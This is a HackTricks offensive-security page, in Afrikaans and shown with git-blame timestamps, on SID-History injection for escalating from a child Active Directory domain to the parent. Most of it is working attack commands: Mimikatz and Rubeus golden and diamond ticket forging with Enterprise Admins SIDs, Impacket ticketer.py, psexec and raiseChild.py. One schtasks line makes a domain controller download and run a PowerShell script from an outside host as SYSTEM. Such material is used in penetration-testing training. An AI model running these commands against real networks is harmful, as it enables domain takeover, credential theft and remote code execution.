hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md

171 lines
8.6 KiB
Markdown
Raw Permalink Normal View History

# SID-History Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-15 21:10:48 +00:00
<details>
<summary>Support HackTricks</summary>
2022-08-15 21:10:48 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-15 21:10:48 +00:00
</details>
{% endhint %}
2022-08-15 21:10:48 +00:00
## SID History Injection Aanval
2022-09-04 09:37:14 +00:00
Die fokus van die **SID History Injection Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouerdomein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouerdomein.
2022-08-15 21:10:48 +00:00
Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n **Golden Ticket** of 'n **Diamond Ticket**.
2022-08-15 21:10:48 +00:00
Om die SID vir die **"Enterprise Admins"** groep te bepaal, moet 'n mens eers die SID van die worteldomein vind. Na identifikasie kan die Enterprise Admins groep SID saamgestel word deur `-519` aan die worteldomein se SID toe te voeg. Byvoorbeeld, as die worteldomein SID `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
2022-09-04 09:37:14 +00:00
Jy kan ook die **Domain Admins** groepe gebruik, wat eindig op **512**.
2022-08-15 21:10:48 +00:00
2024-02-11 02:07:06 +00:00
'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
2022-08-15 21:10:48 +00:00
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### Goue Kaart (Mimikatz) met KRBTGT-AES256
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-09-04 09:37:14 +00:00
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
2022-10-06 09:16:41 +00:00
/user is the username to impersonate (could be anything)
2022-09-04 09:37:14 +00:00
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
2022-10-06 09:16:41 +00:00
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
2022-09-04 09:37:14 +00:00
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
2022-08-15 21:10:48 +00:00
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
2024-02-11 02:07:06 +00:00
Vir meer inligting oor goue kaartjies, kyk:
2022-08-15 21:10:48 +00:00
{% content-ref url="golden-ticket.md" %}
[goue-kaartjie.md](goue-kaartjie.md)
2022-08-15 21:10:48 +00:00
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
### Diamantkaartjie (Rubeus + KRBTGT-AES256)
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
2022-10-06 09:16:41 +00:00
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
2022-08-15 21:10:48 +00:00
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
Vir meer inligting oor diamond tickets, kyk:
2022-08-15 21:10:48 +00:00
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
2024-02-11 02:07:06 +00:00
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
2022-08-15 21:10:48 +00:00
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
Verhoog na DA van wortel of Enterprise admin deur die KRBTGT-hash van die gecompromitteerde domein te gebruik:
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
2022-10-06 09:16:41 +00:00
{% endcode %}
Met die verkregen toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
2022-10-06 09:16:41 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
### Van linux
2022-10-06 09:16:41 +00:00
#### Handmatig met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
2024-02-11 02:07:06 +00:00
export KRB5CCNAME=hacker.ccache
2022-10-06 09:16:41 +00:00
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
#### Outomaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
2022-10-06 09:16:41 +00:00
Dit is 'n Impacket-skrip wat **die opgradering van kind na ouer domein outomatiseer**. Die skrip benodig:
2022-10-06 09:16:41 +00:00
2024-02-11 02:07:06 +00:00
* Teikendomeinbeheerder
* Kredensies vir 'n admin gebruiker in die kinddomein
2022-10-06 09:16:41 +00:00
Die vloei is:
2022-10-06 09:16:41 +00:00
* Verkry die SID vir die Enterprise Admins-groep van die ouerdomein
* Herwin die hash vir die KRBTGT-rekening in die kinddomein
2024-02-11 02:07:06 +00:00
* Skep 'n Golden Ticket
* Meld aan by die ouerdomein
* Herwin kredensies vir die Administrator-rekening in die ouerdomein
* As die `target-exec` skakel gespesifiseer is, verifieer dit by die ouerdomein se Domeinbeheerder via Psexec.
2022-10-06 09:16:41 +00:00
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
2024-02-11 02:07:06 +00:00
## Verwysings
2024-02-08 03:06:37 +00:00
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
2022-08-15 21:10:48 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-04 14:21:27 +00:00
<details>
2022-08-15 21:10:48 +00:00
<summary>Ondersteun HackTricks</summary>
2022-08-15 21:10:48 +00:00
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-15 21:10:48 +00:00
</details>
{% endhint %}